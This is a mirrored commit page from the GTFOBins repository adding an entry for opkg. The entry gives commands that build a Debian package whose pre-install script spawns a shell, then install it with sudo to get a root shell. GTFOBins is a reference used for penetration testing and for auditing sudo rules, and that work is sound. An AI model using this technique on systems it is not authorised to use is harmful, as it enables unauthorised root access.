mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-08-23 17:44:49 +02:00
Add opkg
This commit is contained in:
13
_gtfobins/opkg.md
Normal file
13
_gtfobins/opkg.md
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- description: |
|
||||||
|
It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
|
||||||
|
```
|
||||||
|
TF=$(mktemp -d)
|
||||||
|
echo 'exec /bin/sh' > $TF/x.sh
|
||||||
|
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
|
||||||
|
```
|
||||||
|
code: |
|
||||||
|
sudo opkg install x_1.0_all.deb
|
||||||
|
---
|
Reference in New Issue
Block a user